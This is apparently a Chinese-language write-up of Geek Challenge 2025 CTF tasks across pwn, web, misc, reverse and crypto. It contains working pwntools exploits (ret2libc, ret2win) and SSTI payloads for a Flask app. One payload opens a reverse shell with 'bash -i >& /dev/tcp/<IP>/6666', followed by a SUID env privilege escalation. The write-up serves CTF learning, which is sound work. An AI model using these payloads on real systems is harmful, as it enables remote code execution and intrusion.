  • 密码的读取区间是 [ptr+16, ptr+16+0x28) = [16,56),恰好覆盖到偏移 48-51 的状态位,但不包含偏移 56 的 puts 指针”,因此后续 &puts 不会被我们密码覆盖。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def menu_choose(io, idx: int):
io.recvuntil(b'Your choice')
io.sendline(str(idx).encode())

def register_admin(io):
menu_choose(io, 1)
io.recvuntil(b'name:')
io.send(b'A' * 0x10)
io.recvuntil(b'password:')
pwd = b'B' * 32 + b'\x00' * 4 + b'C' * 4
io.send(pwd)
io.recvuntil(b'successful')

def leak_puts_via_admin_view(io) -> int:
menu_choose(io, 3)
io.recvuntil(b'Please enter your password:')
io.send(b'B' * 32)
# io.send(b'B' * 31 + b'\x00') strcmp会在遇到 '\0' 时停止
io.recvuntil(b'WELCOME, ADMINISTRATOR.')
try:
io.recvline()
except EOFError:
pass
leak = io.recvn(8)
addr = u64(leak)
log.success(f'leak puts@libc = {hex(addr)}')
return addr

def trigger_feedback(io, payload: bytes):
menu_choose(io, 2)
io.recvuntil(b'feedback:')
io.send(payload)

io = process('./pwn')
register_admin(io)
leak_puts = leak_puts_via_admin_view(io)
libc.address = leak_puts - libc.symbols['puts']
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info(f'libc base = {hex(libc.address)}')
log.info(f'system = {hex(system)}, binsh = {hex(binsh)}')

rop_libc = ROP(libc)
pop_rdi = rop_libc.find_gadget(['pop rdi', 'ret']).address
RET = rop_libc.find_gadget(['ret']).address

payload = b'A' * 24
payload += p64(RET)
payload += p64(pop_rdi) + p64(binsh) + p64(system)

trigger_feedback(io, payload)

io.interactive()

次元囚笼

漏洞点
leave() 中的 strcpy(dest, buffer) 会把全局 buffer 的内容复制到 32 字节的栈数组 dest

最终需要利用栈溢出覆盖返回地址为后门函数 last_love()即可

由于 strcpy 遇到 \x00 会停止复制。因此无法直接通过它写入包含 0 字节的完整 64 位地址。
但这是 64 位小端:覆盖返回地址时,只要前 3 个字节(低 3 字节)非零且可控,第 4~8 字节若原本就是 0,即使复制在第 4 字节遇到 \x00 停止,也能得到想要的 8 字节地址值(高位本来就是 0)。

本题中:

  • 目标后门地址:last_love = 0x00000000004012b3
  • 其小端字节序:b3 12 40 00 00 00 00 00
  • 方案:构造 buffer 内容为:
    • 32 字节填充(溢出到保存的 RBP 前)
    • 8 字节任意非零(覆盖保存的 RBP)
    • 返回地址前 3 字节:\xb3\x12\x40
    • 紧跟一个 \x00(使 strcpy 停止,保留返回地址的高 5 字节为 0)
  • 这样最终函数返回地址即为 0x00000000004012b3,直接跳入后门函数 last_love(),获得 /bin/sh

最后也需要考虑栈对齐的问题,这里可以控制返回地址直接到 /bin/sh,规避掉这个问题,从IDA里面可以找到地址是0x4012D9

1
.text:00000000004012D9                 lea     rax, command    ; "/bin/sh"

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

# p = process('./pwn')
p = remote('geek.ctfplus.cn', 30651)

def choose(io, n):
io.sendlineafter(b"cin >> : ", str(n).encode())

LAST_LOVE = 0x4012D9

choose(p, 3)
ret_lo3 = p64(LAST_LOVE)[:3]
stop = b"\x00"
payload = b'A'*40+ret_lo3+stop
# payload = payload.ljust(0x32, b'X')
p.send(payload)
choose(p, 2)
p.send(b'A'*0x200)

p.interactive()

Week2

Web

Sequal No Uta

先fuzz被过滤字符,好像只过滤了空格

ez_read

随便注册一个用户,登录后发现有个任意文件读的接口,/read?filename=

读取环境变量和命令行发现源码位于 /opt/___web_very_strange_42___/app.py,先把源码读出来

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}


def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")

return payload


@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")


@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))


@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)

try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)


@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))

base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []

filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""

content = None
error = None

if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()

return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)

很容易看出来漏洞点在注册的用户名可以SSTI,然后有一些黑名单,这里用fenjing去找个能用的payload就行

payload1

1
{{                          g.pop['_'~'_globals__'].__builtins__['__i'~'mport__']('os').popen('ls / -al').read()}}

urlencode之后去注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /register HTTP/1.1
Host: 019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 362
Origin: http://019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn
Connection: close
Referer: http://019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn/register
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=%7b%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%67%2e%70%6f%70%5b%27%5f%27%7e%27%5f%67%6c%6f%62%61%6c%73%5f%5f%27%5d%2e%5f%5f%62%75%69%6c%74%69%6e%73%5f%5f%5b%27%5f%5f%69%27%7e%27%6d%70%6f%72%74%5f%5f%27%5d%28%27%6f%73%27%29%2e%70%6f%70%65%6e%28%27%6c%73%20%2f%20%2d%61%6c%27%29%2e%72%65%61%64%28%29%7d%7d&password=1

拿到结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
total 64 
drwxr-xr-x 1 root root 4096 Nov 4 11:37 .
drwxr-xr-x 1 root root 4096 Nov 4 11:37 ..
lrwxrwxrwx 1 root root 7 Aug 24 16:20 bin -&gt; usr/bin
drwxr-xr-x 2 root root 4096 Aug 24 16:20 boot
drwxr-xr-x 5 root root 360 Nov 4 11:37 dev
-rwxr-xr-x 1 root root 300 Jan 1 1970 entrypoint.sh
drwxr-xr-x 1 root root 4096 Nov 4 11:37 etc
-r-------- 1 root root 69 Nov 4 11:37 flag
drwxr-xr-x 2 root root 4096 Aug 24 16:20 home
lrwxrwxrwx 1 root root 7 Aug 24 16:20 lib -&gt; usr/lib
lrwxrwxrwx 1 root root 9 Aug 24 16:20 lib64 -&gt; usr/lib64
drwxr-xr-x 2 root root 4096 Oct 20 00:00 media
drwxr-xr-x 2 root root 4096 Oct 20 00:00 mnt
drwxr-xr-x 1 root root 4096 Oct 29 07:15 opt
dr-xr-xr-x 1018 root root 0 Nov 4 11:37 proc
drwx------ 1 root root 4096 Oct 21 02:09 root
drwxr-xr-x 3 root root 4096 Oct 20 00:00 run
lrwxrwxrwx 1 root root 8 Aug 24 16:20 sbin -&gt; usr/sbin
drwxr-xr-x 2 root root 4096 Oct 20 00:00 srv
dr-xr-xr-x 13 root root 0 Oct 24 12:47 sys
drwxrwxrwt 1 root root 4096 Oct 29 12:08 tmp
drwxr-xr-x 1 root root 4096 Oct 20 00:00 usr
drwxr-xr-x 1 root root 4096 Oct 20 00:00 var

suid

1
2
3
4
5
6
7
8
9
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/local/bin/env

可以发现要用env提权

反弹shell

1
{{                                                                                                                                                                                                                                                                                                                                                                                           g.pop['_'~'_globals__'].__builtins__['__i'~'mport__']('os').popen('bash -c "bash -i >& /dev/tcp/150.242.245.109/6666 0>&1"').read()}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /register HTTP/1.1
Host: 019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1562
Origin: http://019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn
Connection: close
Referer: http://019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn/register
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=%7b%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%67%2e%70%6f%70%5b%27%5f%27%7e%27%5f%67%6c%6f%62%61%6c%73%5f%5f%27%5d%2e%5f%5f%62%75%69%6c%74%69%6e%73%5f%5f%5b%27%5f%5f%69%27%7e%27%6d%70%6f%72%74%5f%5f%27%5d%28%27%6f%73%27%29%2e%70%6f%70%65%6e%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%35%30%2e%32%34%32%2e%32%34%35%2e%31%30%39%2f%36%36%36%36%20%30%3e%26%31%22%27%29%2e%72%65%61%64%28%29%7d%7d&password=1

接收到shell后

1
2
3
/usr/local/bin/env /bin/sh -p

cat /flag

百年继承

ez-seralize

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;

$content = null;
$error = null;

if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}

if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>

uploads.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];

$resultMessage = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];

if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}

$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}

$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;

file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");

$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class A {
public $file;
public $luo;

public function __construct() {
}

public function __toString() {
$function = $this->luo;
return $function();
}
}

class B {
public $a;
public $test;

public function __construct() {
}

public function __wakeup()
{
echo($this->test);
}

public function __invoke() {
$this->a->rce_me();
}
}

class C {
public $b;

public function __construct($b = null) {
$this->b = $b;
}

public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}

另外前端源码提示设置了open_basedir

1
2
RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \
> /usr/local/etc/php/conf.d/zz-open_basedir.ini

index.php作用应该只是读源码,后面要看uploads.php和function.php

eeeeezzzzzzZip

www.zip泄露

login.php中泄露账密是admin/guest123

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
session_start();
error_reporting(0);

if (!isset($_SESSION['user'])) {
header("Location: login.php");
exit;
}

$salt = 'GeekChallenge_2025';
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);

$files = array_diff(scandir($SANDBOX), ['.', '..']);
$result = '';
if (isset($_GET['f'])) {
$filename = basename($_GET['f']);
$fullpath = $SANDBOX . '/' . $filename;
if (file_exists($fullpath) && preg_match('/\.(zip|bz2|gz|xz|7z)$/i', $filename)) {
ob_start();
@include($fullpath);
$result = ob_get_clean();
} else {
$result = "文件不存在或非法类型。";
}
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
session_start();
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];

$BLOCK_LIST = [
"__HALT_COMPILER()",
"PK",
"<?",
"<?php",
"phar://",
"php",
"?>"
];

function content_filter($tmpfile, $block_list) {
$fh = fopen($tmpfile, "rb");
if (!$fh) return true;
$head = fread($fh, 4096);
fseek($fh, -4096, SEEK_END);
$tail = fread($fh, 4096);
fclose($fh);
$sample = $head . $tail;
$lower = strtolower($sample);
foreach ($block_list as $pat) {
if (stripos($sample, $pat) !== false) {
// 为避免泄露过多信息,这里不直接 echo sample(你之前有 echo,保持注释)
return false;
}
if (stripos($lower, strtolower($pat)) !== false) {
return false;
}
}
return true;
}

if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$salt = 'GeekChallenge_2025';
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['file'])) {
http_response_code(400);
die("No file.");
}
$tmp = $_FILES['file']['tmp_name'];
$orig = basename($_FILES['file']['name']);
if (!is_uploaded_file($tmp)) {
http_response_code(400);
die("Upload error.");
}

$ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
http_response_code(400);
die("Bad extension.");
}

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $tmp);
finfo_close($finfo);
if (!in_array($mime, $allowed_mime_types)) {
http_response_code(400);
die("Bad mime.");
}

if (!content_filter($tmp, $BLOCK_LIST)) {
http_response_code(400);
die("Content blocked.");
}

$newname = time() . "_" . preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
$dest = $SANDBOX . '/' . $newname;

if (!move_uploaded_file($tmp, $dest)) {
http_response_code(500);
die("Move failed.");
}

echo "UPLOAD_OK:" . htmlspecialchars($newname, ENT_QUOTES);
exit;
}
?>

Misc

Dream

sepolia.etherscan.io搜素0xd8B361E50174c4Ae99E31dCdF10B353C961f9C43,找到下面的信息

1
0x6080604052348015600e575f80fd5b50600436106026575f3560e01c8063cf9a197d14602a575b5f80fd5b60306044565b604051603b9190607c565b60405180910390f35b5f775359437b77336c63306d337430626c30636b636861316e7d805f5260205ff35b5f819050919050565b6076816066565b82525050565b5f602082019050608d5f830184606f565b9291505056fea2646970667358221220974b3f216c3631b694b1fb0452f8c8c6ab797a24697c62ebd80b250622b805e864736f6c63430008190033

hex解码可以看到flag

hidden

docx改为zip后解压发现word.txt和flag3.jpg

1
2
3
flag2:MzYyZ2V5ZGd3dW5rZHdlZQ==
解base64
362geydgwunkdwee

document.xml里找到第一段

1
SYC{

010editor观察jpg文件发现缺少头部,补上FFD8FFE000104A46494600010101006000600000FF即可看到第三段

1
sjdmd}

Expression Parser

继承链直接打

1
[].__class__.__base__.__subclasses__()[155].__init__.__globals__['popen']('env').read()

Reverse

Gensh1n

真正校验在 cleanup():对输入 s(长度须为 28)执行 RC4(key="geek2025"),得到的密文需与全局 result 完全一致,同时 CRC32 一致。
由 RC4 可逆,直接计算 s = RC4_decrypt(key="geek2025", data=result) 即得 flag。
关键信息:

  • KEY:geek2025
  • RESULT(hex):5259f38a000fe65636e5f033406e56815ae56f876f9f21c9a6bb1651

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ARR = b"geek2025"
RESULT = bytes([
0x52, 0x59, 0xF3, 0x8A, 0x00, 0x0F, 0xE6, 0x56,
0x36, 0xE5, 0xF0, 0x33, 0x40, 0x6E, 0x56, 0x81,
0x5A, 0xE5, 0x6F, 0x87, 0x6F, 0x9F, 0x21, 0xC9,
0xA6, 0xBB, 0x16, 0x51,
])

def rc4_ksa(key: bytes):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]
return S

def rc4_prga(S, n):
i = j = 0
out = bytearray()
for _ in range(n):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xFF]
out.append(K)
return bytes(out)

def rc4_decrypt(key: bytes, data: bytes) -> bytes:
S = rc4_ksa(key)
ks = rc4_prga(S, len(data))
return bytes(d ^ k for d, k in zip(data, ks))

if __name__ == "__main__":
flag_bytes = rc4_decrypt(ARR, RESULT)
print(flag_bytes.decode())

Crypto

xor_revenge

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import *
from pwn import *
from secert import flag
def pq_xor():
p=getPrime(512)
q=getPrime(512)
n=p*q
return n,p^q
def pq_and():
p=getPrime(512)
q=getPrime(512)
r=getPrime(512)
n=p*q
hint=r&p
return n,p&q,r,hint
def main(conn):
conn.sendline("welcome_the_facotr_game_just_ez_xor")
conn.recvline()
conn.sendline("wel_come_to_the_first_1111111_heiheihei")
G1 = pq_xor()
n,gift1=G1[0],G1[1]
msg1=f'I can give you \nn={n}\ngift1={gift1}'
conn.sendline(msg1)
p_data=conn.recvline()
try:
p=int(p_data.strip())
except ValueError:
conn.sendline("input error, please send integer p")
return

if(n%p!=0):
conn.sendline("no,that bad p,cyring")
return
conn.sendline("wow,you find p,now you go next one")
G2 = pq_and()
n,gift2,r,hint=G2[0],G2[1],G2[2],G2[3]
conn.send(f"I will give you \nn={n}\n gift2={gift2}\n hint={hint}\n r={r}\n")
p1_data = conn.recvline()
try:
p = int(p1_data.strip())
except ValueError:
conn.sendline("input error, please send integer p")
return
if (n % p != 0):
conn.sendline("no,that bad p1,cyring again")
conn.sendline(f"hajimiyonanbolvduo{flag}")

if __name__ == '__main__':
server = listen(11451)
log.info("服务端已启动,等待连接...")
conn = server.wait_for_connection()
log.info("有客户端连入!")
main(conn)

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import re

HOST = "geek.ctfplus.cn"
PORT = 31067

def recv_until_n(io):
data = io.recvuntil(b"r=")
data += io.recvline()
n = int(re.search(rb"n=(\d+)", data).group(1))
return n

def main():
io = remote(HOST, PORT)

io.recvline()
io.sendline(b"hi")

io.recvline()
io.recvline()
n1_line = io.recvline().decode().strip()
n1 = int(n1_line.split('=')[1])
io.recvline()

io.sendline(str(n1).encode())
io.recvline()

n2 = recv_until_n(io)
io.sendline(str(n2).encode())

flag_line = io.recvline().decode().strip()
print(flag_line) # hajimiyonanbolvduo{flag...}

if __name__ == "__main__":
main()

dp_spill

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import random
import hashlib
from Crypto.Util.number import inverse, getPrime, GCD
from sympy.ntheory.modular import solve_congruence

def CRT(a, m, b, n):
val, mod = solve_congruence((a, m), (b, n))
return val

def gen_key():
while True:
p = getPrime(512)
q = getPrime(512)
if GCD(p-1, q-1) == 2:
return p, q

def get_e(p, q, BITS):
while True:
d_p = random.randint(1, 1 << BITS)
d_q = random.randint(1, q - 1)
if d_p % 2 == d_q % 2:
d = CRT(d_p, p - 1, d_q, q - 1)
e = inverse(d, (p - 1) * (q - 1))
return e

def main():
BITS = 20
p, q = gen_key()
n = p * q
e = get_e(p, q, BITS)
s = str(p + q).encode()
flag_hash = hashlib.sha256(s).hexdigest()
flag = f"SYC{{{flag_hash}}}"

print("==== RSA Challenge ====")
print(f"Public Modulus (n): {n}")
print(f"Clue (e): {e}")
print()
print("Recover p + q and submit SYC{sha256(p+q)} as the flag!")
print()

if __name__ == "__main__":
main()

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from math import gcd
from hashlib import sha256

def recover_flag(n, e, BITS=20):
inc = pow(2, e, n) # 2^e mod n
val = pow(2, e*1 - 1, n) # 2^{e·1-1} mod n

for dp in range(1, 1 << BITS):
g = gcd(val - 1, n)
if 1 < g < n: # 成功找到质因子
p, q = g, n // g
s = p + q
return 'SYC{' + sha256(str(s).encode()).hexdigest() + '}'
val = (val * inc) % n # 下一轮:指数 +e

n = 59802493250926859707985963604065644706006753432029457979480870189591634515944547801582044132550574140049396756158974108666587177618882259807156459782125677704143102175791607852135852403246382056816004306499712131698646815738798243056590111291799398438023345030391834782966046976995917844819454047154287312391
e = 55212884840887233646138079973875295799093171847359460085387084716906818593689341421818829383370282800231404248386041253598996862719171485530961860941585382910224531768283026267484780257269526617362183903996384696040145787076592207619279689647074176697837752679360230601598541884491676076657287130000027117241
recover_flag(n, e, BITS=20)

Pwn

Week3

Web

路在脚下

西纳普斯的许愿碑

Image Viewer

PDF Viewer

Xross The Doom

路在脚下_revenge